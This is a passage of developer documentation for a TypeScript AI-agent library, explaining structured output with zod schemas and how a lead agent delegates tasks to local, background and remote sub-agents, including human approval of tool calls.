import { AgentExecutor } from '@lousho/build-ai-agent/executor';

const run = AgentExecutor.stream({ agent, input, provider, toolRegistry, approvalStore });
for await (const event of run) {
  if (event.type === 'approval.requested') {
    console.log(`Approve ${event.toolName}(${JSON.stringify(event.args)})? id=${event.approvalId}`);
  }
}
const paused = await run.result; // paused.finishReason === 'awaiting-approval'
```


# Structured output
Source: https://lousho.com/structured-output



Give an agent a zod schema as `output` and its final reply becomes a typed,
validated object: `result.object`. The agent can still call tools first; only
the final answer has to match the schema. The `vendor/` model prefix chooses
the provider; with OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'You report the weather.',
  output: z.object({ city: z.string(), tempC: z.number(), summary: z.string() }),
});

const result = await agent.send('Weather in Paris?');
if (result.object) {
  console.log(result.object.tempC); // typed: number
} else {
  console.error(result.finishReason, result.outputError?.issues); // 'output-invalid', [{ path, message }]
}
```

`result.object` is typed as `z.output<typeof schema>`, so zod defaults and
transforms apply. `result.text` keeps the raw JSON text the model wrote.

The schema can come from zod 3 or zod 4: it is rendered with `z.toJSONSchema`
for zod 4 and with the `ai` SDK's converter for zod 3, and validated with the
schema's own `safeParse` either way. `output` is typed as a Standard Schema,
the same as `defineTool({ input })`, so `result.object` is inferred without a
cast from a zod 3 schema, a zod 4 schema (`zod/v4` on zod 3.25, or zod 4
itself) or any other Standard Schema that can produce JSON Schema:

```ts theme={null}
import { z } from 'zod/v4';
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini', output: z.object({ city: z.string() }) });
const { object } = await agent.send('Where is the Eiffel Tower?');
console.log(object?.city); // typed: string
```

## Schemas that mirror a side-effect tool

When the output schema mirrors a side-effect tool's payload (say a
`comments[]` array in `output` next to a `post_comment` tool), models often
put the data in the final object and never call the tool, or do both. Do not
rely on the model to pick one. Either perform the side effect in your own
code from the validated `result.object`, or do not mirror the payload: let
the tool take the data and keep `output` for a summary or status.

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';

declare function postComment(comment: { file: string; body: string }): Promise<void>;

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'Review the diff and return your comments.',
  output: z.object({ comments: z.array(z.object({ file: z.string(), body: z.string() })) }),
});

const result = await agent.send('Review this diff: ...');
for (const comment of result.object?.comments ?? []) {
  await postComment(comment); // host code, once per validated comment
}
```

For extract, then approve, then act, keep the three steps apart. The agent
only extracts into `output` (no side-effect tool). Your code shows the
validated object to a person, and acts only on a yes, with an idempotency key
from the data (a claim id), because a rerun of the whole flow extracts again:

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';

declare function askReviewer(claim: { claimId: string; amountCents: number }): Promise<boolean>;
declare const claims: { file(claim: { claimId: string; amountCents: number }, opts: { idempotencyKey: string }): Promise<void> };

const extractor = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'Extract the claim from the email. Do not file it.',
  output: z.object({ claimId: z.string(), amountCents: z.number() }),
});

const { object: claim } = await extractor.send('Email: ...');
if (claim && (await askReviewer(claim))) {
  await claims.file(claim, { idempotencyKey: `claim:${claim.claimId}` });
}
```

If the model has to call the tool itself, gate it with `needsApproval` and see
[Approvals](/approvals#ending-the-run-after-a-rejection) for stopping the
run on a rejection.

## Sessions

`agent.session()` on an agent with `output` returns a session whose
`send()` result (and `stream()`'s `result`) carries the typed `object` of each
turn. There is no per-call `output` override: the schema is the agent's.

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini', output: z.object({ city: z.string(), tempC: z.number() }) });
const session = agent.session();
const { object } = await session.send('Weather in Paris?');
console.log(object?.tempC); // typed: number
```

## Sub-agents

A sub-agent created with its own `output` schema answers the lead with its
validated object. The `task` tool result (and `agent_await`'s `result` for a
background task) is the object as JSON, then a blank line and the usual
`[sub-agent '<name>': ... taskId '<id>']` footer, so the lead model sees the
object rather than a prose rendering. If the sub-agent's reply is still invalid
after its repair step, the `task` call fails with the structured tool error
(`kind: 'execution'`, a message naming the schema issues) and the lead can
retry or adapt. A sub-agent that runs out of steps and then gives a valid
object in its forced final call ([Out of steps](#out-of-steps)) answers the
lead with that object, like a finished one; the footer shows finish reason
`'max-steps'` and a line after it says the steps ran out.

A sub-agent does **not** inherit the lead's `output`: each agent's output is its
own, and a sub-agent without `output` returns text as before. A
[`remoteAgent()`](/sub-agents#remote-sub-agents) whose deployed agent has an
`output` schema returns the remote object the same way (JSON, then its footer),
read from the `object` of the remote stream's `run.done` event.

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';

const reporter = createAgent({
  model: 'openai/gpt-4o-mini',
  description: 'Reports the weather as { city, tempC }',
  output: z.object({ city: z.string(), tempC: z.number() }),
});
const lead = createAgent({ model: 'openai/gpt-4o-mini', subagents: { reporter } });
const result = await lead.send('What is the weather in Paris?');
console.log(result.text);
```

## Optional fields

Optional fields work on strict structured-output endpoints (OpenAI,
OpenRouter), which require every property to be listed in `required`. In the
JSON Schema sent to the model, each optional property (`.optional()`,
`.default()`) is required and nullable instead, at every level: nested
objects, array items and union branches. A `null` the model returns for such a
field is removed before validation, so the schema you wrote still validates it
and `result.object` has no key for it. A field that accepts `null` itself
(`.nullable()`, `.nullish()`) keeps the `null`.

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openrouter/openai/gpt-4o-mini',
  output: z.object({ verdict: z.string(), note: z.string().optional() }),
});
const { object } = await agent.send('Review this change.');
// The model may answer {"verdict":"approve","note":null}; object is { verdict: 'approve' }.
console.log(object?.note); // typed: string | undefined
```

## How it works

1. The system prompt gets an `## Output format` section asking for the final
   answer as only a JSON object matching the schema, rendered as JSON Schema.
2. Model calls that offer no tools carry `responseFormat: { type: 'json',
   schema }` on `GenerateOptions`: every call of an agent without tools, the
   "answer now" call when steps run out (see below), and the repair step. It
   is a hint: the built-in `ai`-SDK providers turn on the model's JSON mode
   (with the schema, for models that support structured outputs; OpenRouter
   and the `pi` provider send a strict `json_schema` response format); a
   custom provider may use it or ignore it. A call that offers tools goes
   without it, and the model answers from the schema in the prompt: with a
   strict response format next to tools, some models (`openai/gpt-4o-mini`
   via OpenRouter) keep calling tools until `maxSteps` instead of answering.
   `toolChoice: 'none'` counts as no tools offered. To send it on every
   call anyway, pass `output: { schema, responseFormat: 'always' }`.
3. When the model replies without tool calls, the reply is parsed as JSON (a
   ` ```json ` code fence around it is tolerated) and validated with
   the schema. A near miss is read without a repair call: when the whole
   reply is not JSON, `<think>…</think>` blocks are removed and the first
   fenced block, or balanced `{…}` / `[…]`, that parses and validates is
   used. So a prose prefix, trailing prose after a fenced block, or a
   reasoning block before the JSON costs nothing extra. `result.text` keeps
   the reply as the model wrote it.
4. If it is invalid, the model gets one repair step: a user message
   starting with `[output-invalid]` that lists the issues, for example
   `1 issue (tempC: Expected number, received string)`. When the reply was
   the JSON Schema itself (some local models echo it), the message says so
   and shows an example object of the right shape instead. The repair step
   counts against `maxSteps`, and there is none when the budget is spent.
   There is none either when the reply was cut off at the `maxTokens`
   limit (the model's `finishReason` was `'length'`): a repair would be cut
   off the same way, so the run ends at once with `outputError.kind:
   'truncated'` and a message that says to raise `modelSettings.maxTokens`.
   The repair message and the reply it rejected are sent to that one model
   call only: they are not in `result.messages` or the session transcript,
   so a later turn never sees them.
5. Still invalid, the run resolves (it does not reject) with
   `finishReason: 'output-invalid'`, no `object`, and `outputError`:
   `{ kind, message, issues: [{ path, message }] }`, where `kind` is
   `'invalid'` or `'truncated'`.

## Out of steps

When the model is still calling tools as `maxSteps` runs out, a run with
`output` set does not give up: it makes one last model call with no tools
offered ("answer now") and validates that reply the same way. A valid
answer ends the run `finishReason: 'max-steps'` with `object` set; an
invalid one ends it `'output-invalid'` with `outputError`. The extra call
is skipped when another budget limit (tokens, cost, duration) is already
spent. A `limits.maxSteps` that runs out gets the same call; that run
still ends `'budget-exceeded'` with `result.budget`, plus `object` when the
answer validated. Like the repair message, the "answer now" prompt is sent to that
call only and is not kept in `result.messages` or the session transcript.

## The schema in the prompt

Steps 1 and 2 send the schema twice on a call without tools: once inside the
`## Output format` system-prompt block, and once on `responseFormat`. When the
provider enforces `responseFormat` (OpenAI structured outputs, OpenRouter, the
`pi` provider) the prompt copy is redundant - on a large schema it costs
around a thousand tokens per call. Pass `output` as `{ schema, promptSchema:
false }` to leave the schema out of the prompt; the JSON-only ask stays, and
since `responseFormat` is then the only copy of the schema it goes on every
call, tool-offering ones included (`responseFormat` defaults to `'always'`
here; set `'final'` to keep it off those calls):

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o',
  output: { schema: z.object({ city: z.string(), tempC: z.number() }), promptSchema: false },
});
const { object } = await agent.send('Weather in Paris?');
```

Keep the default (`promptSchema: true`, or a bare `output: schema`) when the
provider - or model - treats `responseFormat` as a JSON-mode hint only (the
built-in `ai`-SDK providers drop the schema for models without
structured-outputs support; a custom provider may ignore it entirely). The
prompt copy is then the only place the model sees the shape to answer with.
Keep it too for an agent with tools: its tool-offering calls carry no
`responseFormat` by default, so the prompt copy is what they answer from.

| `output` | Schema in the prompt | `responseFormat` on calls offering tools | on calls without tools |
| - | - | - | - |
| `schema` or `{ schema }` | yes | no | yes |
| `{ schema, responseFormat: 'always' }` | yes | yes | yes |
| `{ schema, promptSchema: false }` | no | yes | yes |
| `{ schema, promptSchema: false, responseFormat: 'final' }` | no | no | yes |

## Repaired output and business rules

When `object` came from the repair step, the result has
`outputRepaired: true`. A repair answers the issues it is shown, so it can
**change values** to make them validate. If the schema encodes a business
rule, such as a refinement that `total` equals `subtotal + tax`, a model
asked to repair an invoice whose printed total breaks the rule may rewrite
the total so the object passes. Keep the schema to the document's
structure, and check business rules on `result.object` after extraction,
where a failure is yours to report:

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';

const Invoice = z.object({ subtotal: z.number(), tax: z.number(), total: z.number() });
const agent = createAgent({ model: 'openai/gpt-4o-mini', output: Invoice });

const result = await agent.send('Extract the invoice: subtotal 100.00, tax 19.00, total 120.00');
const invoice = result.object;
if (invoice && Math.abs(invoice.subtotal + invoice.tax - invoice.total) > 0.005) {
  console.warn('Totals do not add up', invoice, result.outputRepaired ? '(after a repair)' : '');
}
```

## Schema limits

Strict structured-output endpoints (OpenAI, Anthropic, and OpenRouter in
front of them) reject some JSON-Schema shapes with a 400, and Claude answered
a record with `{}`. The schema sent to the model is rewritten into shapes
they accept, and the model's reply is turned back into your schema's shape
before validation, so `result.object` always has the type you wrote. Only
`result.text` (the raw reply) shows the rewritten form.

| Your schema | Sent to the model as | Reply decoded from |
| - | - | - |
| `z.discriminatedUnion` (`oneOf`) | `anyOf` | (unchanged) |
| A root that is not an object (`z.union`, `z.record`, `z.string()`, ...) | `{ result: <schema> }` | `{"result": ...}` |
| `z.record(key, value)` | an array of `{ key, value }` objects | `[{"key":"a","value":2}]` → `{ a: 2 }` |
| `z.tuple([a, b], rest?)` | an object `{ _0, _1, _rest? }` | `{"_0":1,"_1":"x"}` → `[1, 'x']` |

A reply in your schema's own shape (from a model that does not enforce the
schema) still validates.

* **No `z.date()`.** JSON has no date type, so a zod 4 `z.date()` field could
  never validate. `createAgent()` throws a `ConfigurationError` naming the
  field. Use `z.iso.date()` or `z.iso.datetime()` for an ISO string, or
  `z.iso.datetime().pipe(z.coerce.date())` for a `Date` in `result.object`.

## Streaming

`agent.stream()` works the same way: `run.result` resolves with `object`,
and the final `run.done` event carries `object` (JSON-encoded) when the
reply was valid. The repair step shows up as one more
`step.start` / `step.done` pair. See [Streaming](/streaming).

While the reply streams, each `text.delta` that changes the parsed reply is
followed by an `object.delta` event whose `object` is the partial object so
far: an unfinished string value is cut where the text is, an unfinished key or
number is left out, and the open objects and arrays are closed. It is not
validated against the schema (a field may still be missing); use it to render
progress, and `result.object` for the answer. The UI bindings keep it as
`partialObject`.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { z } from 'zod';

const planner = createAgent({ model: 'openai/gpt-4o-mini', output: z.object({ days: z.array(z.string()) }) });
for await (const event of planner.stream('Plan a 3-day trip to Lisbon.')) {
  if (event.type === 'object.delta') console.log(event.object); // { days: ['Alfama and the castle', 'Bel'] }, ...
}
```

## Advanced: the executor API

`AgentExecutor.execute()` and `AgentExecutor.stream()` take the same
`output` option. There `result.object` is `unknown`; parse it again with your
schema, or use `createAgent()` for the inferred type.

```ts theme={null}
import { z } from 'zod';
import { AgentBuilder, AgentExecutor } from '@lousho/build-ai-agent/executor';
import { createMockProvider } from '@lousho/build-ai-agent';

const Ticket = z.object({ title: z.string(), priority: z.enum(['low', 'high']) });
const agent = AgentBuilder.create().setName('triage').setPrompt('You triage bug reports.').build();
const result = await AgentExecutor.execute({ agent, input: 'The app crashes on login', provider: createMockProvider(), output: Ticket });
const ticket = result.object === undefined ? undefined : Ticket.parse(result.object);
```

## Testing

With `mockModel`, script the JSON text the model would write:

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const agent = createAgent({ provider: mockModel(['{"city":"Paris","tempC":21}']), output: z.object({ city: z.string(), tempC: z.number() }) });
const { object } = await agent.send('Weather in Paris?');
console.log(object?.city); // 'Paris'
```

## See also

* [Decisions](/decisions): `decide()` answers predicate / choice / score questions over one input on a dedicated fast endpoint — the right call when you need a classification or confidence, not an object.


# Sub-agents
Source: https://lousho.com/sub-agents



A sub-agent is a separate agent - its own instructions, model, tools and
skills - that a lead agent hands a self-contained task to. The sub-agent
starts with a clean context (it sees only the task prompt, never the lead's
conversation), works through as many steps as it needs, and its final answer
comes back to the lead as one tool result.

## Sub-agents, skills or flows?

| Use | When |
| - | - |
| **Skills** ([docs](/skills)) | The *same* agent needs extra instructions for some tasks. Cheap: a skill is text loaded into the current conversation. |
| **Sub-agents** | A task needs different tools, a different model, or a long tool-heavy exploration you do not want in the lead's context. The lead decides at run time whether and what to delegate; independent tasks run in parallel. |
| **Handoffs** ([docs](/handoffs)) | Another agent should take over the conversation and answer the user itself (triage to a specialist), instead of returning a result to the lead. |
| **Flows** | The steps and their order are known up front (a pipeline), so they should not be left to a model's judgment. |

## Quick start

Give each sub-agent a `description` (the lead model reads it to choose), then
pass them to the lead as `subagents`:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const researcher = createAgent({
  provider,
  instructions: 'You research a question and report your sources.',
  description: 'Finds and summarizes sources',
});
const writer = createAgent({
  provider,
  instructions: 'You write clear, short articles.',
  description: 'Turns notes into a polished article',
});

const lead = createAgent({
  provider,
  instructions: 'You coordinate research and writing.',
  subagents: { researcher, writer },
});

const { text } = await lead.send('Write a short article about the history of the bicycle.');
```

`AgentExecutor.execute()` takes the same `subagents` and `maxSubagentDepth`
options. Use it when you need hooks or tracing on the lead run - sub-agents
inherit those (see [Inheritance](#what-a-sub-agent-inherits)). Approvals work
from `createAgent()` too (see [Approvals](#approvals-inside-a-sub-agent)).

## How it works

With `subagents`, the lead agent gets:

1. An **Available sub-agents** block in its system prompt: one line per
   sub-agent (`- name: description`), plus a sentence saying that a sub-agent
   sees only the prompt it is given.
2. ONE tool, `task`, with the input
   `{ agent: <one of the names>, prompt: string, description?: string, background?: boolean, taskId?: string, mode?: 'new' | 'resume' | 'fork' }`
   (`description` is an optional 3-5 word label used in events and hooks; `taskId` and
   `mode` continue an earlier task, see [Continuing a task](#continuing-a-task);
   `subagentOptions: { continuation: false }` leaves them out).
3. Three tools for background tasks: `agent_status`, `agent_await` and
   `agent_cancel` (see [Background sub-agents](#background-sub-agents)).

When the lead calls `task`, the named sub-agent runs on `prompt` alone. The
tool result is the sub-agent's final text plus a small footer the lead can
use:

```text theme={null}
The first bicycles appeared in the 1810s ...

[sub-agent 'researcher': 3 step(s), finish reason 'stop', taskId 'task_1']
```

If the sub-agent does not finish - it throws, runs out of `maxSteps`, stops at
a budget limit, or is aborted - the lead gets an error result (`isError: true`)
that says why, for example `Sub-agent 'researcher' used all 10 of its steps
(maxSteps) without giving a final answer.` An unknown agent name is also an
error result listing the valid names. An answer cut off at the sub-agent's
output token limit (finish reason `'length'`) is still returned, with a line
after the footer saying it may be incomplete. A sub-agent with an `output`
schema that runs out of steps makes one last forced call
([Out of steps](/structured-output#out-of-steps)): when that call returns
a valid object, the `task` result is that object (finish reason `'max-steps'`
in the footer, plus a line saying the steps ran out), not an error. Sub-agent
token usage is added to the lead's `result.usage`, a
[remote sub-agent](#remote-sub-agents)'s too. The lead's own `result.toolErrors`
counts only the lead's tool calls; the calls that failed inside its sub-agents
(and theirs) are counted on `result.usage.delegated.toolErrors`.

Errors at setup time are thrown with a fix: a sub-agent without a
`description`, a value that is not a `createAgent()` agent, or a tool of your
own already named `task` (or `agent_status`, `agent_await`, `agent_cancel`).

## Continuing a task

Each `task` call runs in a child conversation with a `taskId` (`task_1`,
`task_2`, ... in the footer). The lead can come back to it:

| `task` input | What runs |
| - | - |
| no `taskId` (`mode: 'new'`) | A fresh sub-agent, as above, with a new `taskId`. |
| `taskId` (`mode: 'resume'`, the default with a `taskId`) | The same sub-agent with its whole transcript (its earlier prompts, tool calls and answers) and `prompt` as the next user turn. The result keeps the `taskId`. |
| `taskId` and `mode: 'fork'` | A new task (new `taskId`) that starts from a copy of that transcript. The original task is left as it was and can still be resumed. |

The model learns this from the `task` tool description, so asking a follow-up
needs no code. A lead that keeps its work across turns or restarts needs a
store and a session:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { SqliteStore } from '@lousho/build-ai-agent/sqlite';

const store = new SqliteStore('./.lousho/agent.db');
const researcher = createAgent({ provider, instructions: 'You research.', description: 'Finds and summarizes sources' });
const lead = createAgent({ provider, instructions: 'You coordinate research.', store, subagents: { researcher } });

const chat = lead.session({ id: 'user-42' });
await chat.send('Research the history of the bicycle.'); // the lead calls task -> taskId 'task_1'
await chat.send('Ask the researcher which source it trusted most.'); // the lead calls task({ taskId: 'task_1', ... })
```

Where the conversations live:

* With `createAgent({ store })` (`store.sessions`) and a lead run that has a
  `sessionId` (a checkpointed `send(message, { sessionId })` or a session
  turn), each task is saved in `store.sessions` after its run, under a key
  hashed from the lead session id and the `taskId`. They outlive the lead run:
  later turns of the same session, a lead resumed with `agent.resume()` or
  `approvals.resolve()`, and a new process on the same durable store can
  continue them. A `taskId` from another lead session never matches. The
  session store has no list API, so these entries are not listed or deleted
  with the lead session; delete the store's data to drop them. For
  `AgentExecutor.execute()`, set the store with
  `withSubagentOptions(subagents, { sessions })`.
* Otherwise (no session store, or a lead run without a `sessionId`) a task
  lives in memory for that one `execute()` / `send()` call: a run that pauses
  for approval and is resumed starts with none. A sub-agent that the approval
  itself resumes still answers the lead (as the `task` or `agent_await`
  result), but it cannot be continued by `taskId` afterwards; use a session
  store for that.

Only tasks that finished (`stop`, `length` or `max-steps`) are saved, so a
task that failed or was cancelled cannot be continued. Errors reach the lead
as structured tool errors: an unknown `taskId`, one of another lead session,
or one that belongs to another sub-agent fails with
`LOUSHO_SUBAGENT_TASK_NOT_FOUND`; a task that is still running (a background
task that has not ended) fails with `LOUSHO_SUBAGENT_TASK_BUSY`, telling the
model to `agent_await` or `agent_cancel` it first. The error for another
sub-agent's `taskId` tells the model to omit `taskId` to start a new task.

A lead that never needs follow-ups can leave continuation out with
`subagentOptions: { continuation: false }`: the `task` tool then has no
`taskId` or `mode` argument, every call starts a new task, and neither the
tool description nor the prompt block mentions taskIds. Weaker lead models
sometimes pass one sub-agent's `taskId` to another and waste a turn on the
error; this removes the option.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const analyst = createAgent({ provider, instructions: 'You analyze.', description: 'Analyzes data' });
const lead = createAgent({ provider, subagents: { analyst }, subagentOptions: { continuation: false } });
```

A resumed or forked task is a normal `task` call otherwise: it can run in the
background (it keeps its `taskId`), an approval inside it pauses and resumes
the lead like any sub-agent approval, and its usage counts toward the lead's
`usage` and `limits`. The child sees its whole transcript again on every
resume, so a long-lived task costs more tokens each time.

## Parallel tasks

Tool calls of one model turn run concurrently (see `toolConcurrency`), so when
the lead calls `task` several times in one turn, those sub-agents run in
parallel. Results reach the lead's transcript in the order the model made the
calls. Cap it with `toolConcurrency` on the lead (`1` runs them one at a time).

## Background sub-agents

With `background: true`, `task` starts the sub-agent and returns at once with
`{ taskId, status: 'running', agent }`, so the lead can keep working (or start
more tasks) while it runs. The lead then uses:

| Tool | Input | Result |
| - | - | - |
| `agent_status` | `{ taskId? }` | `{ tasks: [{ taskId, agent, status, elapsedMs, approvalId?, toolName?, error? }] }` for one task or all of them. `status` is `queued`, `running`, `done`, `failed`, `cancelled` or `awaiting-approval`. |
| `agent_await` | `{ taskId }` or `{ taskIds }`, optional `timeoutMs` | Waits until the task(s) end. A `done` task carries `result`: the same text (with footer) a synchronous `task` returns. A `failed` one carries `error`. A task still running after `timeoutMs` reports `status: 'timeout'`. With `taskIds` the result is `{ tasks: [...] }`. |
| `agent_cancel` | `{ taskId }` | Cancels a queued or running task (its run is aborted) and returns its status. |

At most `maxConcurrent` background sub-agents of one lead run run at once
(default 3); further `background: true` calls get `status: 'queued'` and start
as slots free. Set it with `subagentOptions` on `createAgent()`:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const researcher = createAgent({ provider, instructions: 'You research.', description: 'Finds and summarizes sources' });

const lead = createAgent({
  provider,
  instructions: 'You coordinate research.',
  subagents: { researcher },
  subagentOptions: { maxConcurrent: 2, awaitBackgroundOnFinish: true },
});
```

For `AgentExecutor.execute()`, attach the same options to the `subagents`
value with `withSubagentOptions(subagents, options)`, which returns it. On
`createAgent()`, `subagentOptions` override options attached that way.

A lead that never needs background tasks can leave them out with
`subagentOptions: { background: false }`: the lead then gets only the `task`
tool, without its `background` argument, and the prompt block does not mention
background tasks. That saves the three tools' schemas and text (several hundred
tokens) on every lead request.

A background sub-agent inherits from the lead run like a synchronous one
(hooks, tracing, event listeners, usage roll-up), and `maxSubagentDepth` applies the
same way. Aborting the lead's signal cancels its background sub-agents, queued
or running.

### When the lead run ends

Background tasks belong to one run (one `execute()` / `send()` / `stream()`).
When that run ends, however it ends, the tasks still queued or running are
**cancelled** by default (their runs are aborted). With
`awaitBackgroundOnFinish: true` the run instead waits for them to finish
before it resolves (an aborted or failed lead run still cancels them). Either
way the run resolves only once their runs have stopped, so no sub-agent event
reaches the run's listeners after it; with `awaitBackgroundOnFinish` their
events arrive before the lead's `run.done`.

The result lists every background task of the run with its final status:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const researcher = createAgent({ provider, instructions: 'You research.', description: 'Finds and summarizes sources' });
const lead = createAgent({ provider, instructions: 'You coordinate research.', subagents: { researcher } });

const result = await lead.send('Research three topics in the background.');
for (const task of result.backgroundTasks ?? []) {
  console.log(task.taskId, task.agent, task.status); // e.g. task_1 researcher cancelled
}
```

`result.backgroundTasks` holds `{ taskId, agent, status, elapsedMs, error?,
approvalId?, toolName? }` per task (the `agent_status` shape) and is absent
when the run started none. Use `agent_await` in the lead (the system prompt
tells it to) to get their answers into the conversation.

The executor hook behind this is public: `ExecuteOptions.onRunEnd` is called
exactly once per run, with `{ result }` (whatever the `finishReason`) or
`{ error }`; the run settles after it returns. Background tasks are reported
on `result` before your `onRunEnd` sees it.

Limits:

* A lead run that pauses for approval (`finishReason: 'awaiting-approval'`)
  ends there: its background tasks still queued or running are cancelled (or
  awaited) like at any other end, and the resumed run starts with none. The
  resumed run is a separate run with no link to the paused one's tasks (it
  may even run in another process), so they cannot be kept alive across the
  pause.
* A background sub-agent that needs approval stops with
  `status: 'awaiting-approval'` (with the child's `approvalId` and
  `toolName`); its call does not run yet. It continues only when the lead
  waits for it with `agent_await` (the `task` and `agent_status` tool
  descriptions tell the model so). Then the **lead pauses** on that approval,
  like for a synchronous sub-agent: the lead's result has
  `finishReason: 'awaiting-approval'`, the pending approval names the child's
  call with `subagentPath: ['<agent>']`, and it is listed by
  `agent.approvals.list()`. `approvals.resolve()` (or `resume()` after a
  restart, with a durable store) runs or rejects the child's call, lets the
  child finish, and the continued lead gets the child's answer as the
  `agent_await` result (`status: 'done'` with `result`, or `'failed'`). The
  child's usage is added to the lead's, and its conversation is saved under
  its `taskId` like any task's, so `task({ taskId })` can continue it.
* If the child pauses again, the lead pauses again with the next approval. If
  one `agent_await` call waits on several tasks that are all paused, the lead
  pauses on them one after another, then that call returns every answer at
  once.
* A task that is still `awaiting-approval` when the lead ends without having
  awaited it is reported in `result.backgroundTasks` with that status and
  cannot be resumed: the model chose not to wait for it.

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const shell = defineTool({
  name: 'shell',
  description: 'Runs a shell command',
  input: z.object({ cmd: z.string() }),
  needsApproval: true,
  execute: async ({ cmd }) => `ran ${cmd}`,
});
const coder = createAgent({ provider, instructions: 'You code.', tools: [shell], description: 'Fixes code' });
const lead = createAgent({ provider, instructions: 'You lead.', subagents: { coder } });

// The lead starts `coder` with task({ background: true }), then calls agent_await on it.
const paused = await lead.send('Fix the failing test in the background, then report.');
if (paused.finishReason === 'awaiting-approval' && paused.approvalId) {
  const [pending] = await lead.approvals.list(); // { toolName: 'shell', args: { cmd: ... }, subagentPath: ['coder'] }
  console.log(pending?.toolName, pending?.args);
  const result = await lead.approvals.resolve({ id: paused.approvalId, approved: true });
  console.log(result.text); // agent_await returned the coder's answer to the lead
}
```

## Dynamic catalogs

Instead of a fixed record, pass a catalog with `list()` and `resolve(name)`.
`list()` is called at the start of every run that offers the `task` tool, so
the set can change between runs; `resolve()` is called when the lead picks a
name (return `undefined` for an unknown one).

```ts theme={null}
import { createAgent, type SubagentCatalog } from '@lousho/build-ai-agent';

const experts = new Map([
  ['researcher', createAgent({ provider, instructions: 'You research.' })],
]);

const catalog: SubagentCatalog = {
  list: async () => [{ name: 'researcher', description: 'Finds and summarizes sources' }],
  resolve: async (name) => experts.get(name),
};

const lead = createAgent({ provider, instructions: 'You coordinate.', subagents: catalog });
```

## Remote sub-agents

`remoteAgent()` uses an agent you already deployed (`lousho build --target=node-server`, `docker` or `cloudflare-worker`) as a sub-agent. It goes in `subagents`
next to local ones, and the lead delegates to it with the same `task` tool,
including `background: true`.

```ts theme={null}
import { createAgent, remoteAgent } from '@lousho/build-ai-agent';

const lead = createAgent({
  provider,
  instructions: 'You coordinate.',
  subagents: {
    researcher: remoteAgent({
      url: 'https://researcher.example.workers.dev',
      auth: process.env.RESEARCHER_TOKEN, // the deployment's LOUSHO_API_TOKEN; or () => string | Promise<string>
      description: 'Finds and summarizes sources',
    }),
  },
});
```

Each task opens a new session on the remote agent (`POST <url>/chat` with
`{ sessionId, input }`, read as the SSE event stream, see
[Deployment](/deployment#http-api)), sends the task prompt and returns the
remote agent's final text (its object as JSON when the deployed agent has an
`output` schema, see [Structured output](/structured-output)), followed by
a footer naming the session and the `taskId`. A `task` call that resumes that `taskId` posts to the same remote
session, so the remote agent continues with its own history (keep it in a
store on the remote side); a remote task cannot be forked. The remote
agent sees only that prompt, and runs with its own model, tools and limits, so
the lead's runtime (hooks, sandbox, approval store) does not reach it. The
lead run's abort signal aborts the request. Options: `url`, `auth`, `name`,
`description`, `headers`, and `fetch` (inject one in tests; an in-process agent behind
`createRouteHandler(agent, { basePath: '/' }).handler` — the exported Fetch
handler, see [Deployment](/deployment#http-api) — works as a fake
deployment: `fetch: (input, init) => handler(new Request(input, init))`).

Failures (the agent is unreachable, a 401 or other non-2xx answer, a malformed
stream, or a remote run that ends in an error) reach the lead as the
structured tool error with the code `LOUSHO_REMOTE_REQUEST_FAILED` (`LOUSHO_REMOTE_UNAUTHORIZED` for a 401); the token is
never part of an error or an event.

The remote run's token usage, as the remote agent reports it on its `run.done`
event, is added to the lead's `result.usage`: to the totals, to
`usage.delegated`, and to `byModel['remote:<name>']` (`<name>` is the key in
`subagents`). The remote sends no per-model breakdown, so that one entry holds
its totals and the remote's own `costUsd` estimate; when the remote sends no
cost, the lead's `costUsd` becomes `undefined`. The lead trusts these numbers:
it cannot check them. A deployment from before this change sends no usage, and
then nothing is added. A remote run that pauses for an approval adds what it
spent up to the pause, and the continuation adds only what it spent after it.
The usage arrives when the remote run ends, so the lead's `limits` see it only
after the `task` call returns. A hand-written `RemoteSubagent` gets the
per-turn usage through the `onUsage` option of its `run()`.

### Remote approvals

If the remote run pauses for an approval, the lead run pauses on it exactly as
for a local sub-agent: `result.finishReason` is `'awaiting-approval'`, and the
pending approval in `agent.approvals.list()` (and in channel buttons, the dev
chat and ACP permission requests) has the remote tool's name and input, with
`subagentPath: ['researcher']`. A remote `ask_question` call arrives as a
question (`kind: 'question'`) that `agent.approvals.answer()` answers.
Deciding it on the lead (`resolve`, `streamResolve`, `answer`) posts the
decision to the remote agent's approvals route
(`POST <url>/chat/<session>/approvals/<id>`), reads the continuation, and its
final answer becomes the `task` result; a continuation that pauses again pauses
the lead again.

```ts theme={null}
import type { SimpleAgent } from '@lousho/build-ai-agent';
declare const lead: SimpleAgent; // the lead agent above

const paused = await lead.send('Deploy the docs site');
if (paused.finishReason === 'awaiting-approval') {
  const [pending] = await lead.approvals.list(); // e.g. { toolName: 'deploy', args: {...}, subagentPath: ['researcher'] }
  const result = await lead.approvals.resolve({ id: pending.id, approved: true });
  console.log(result.text);
}
```

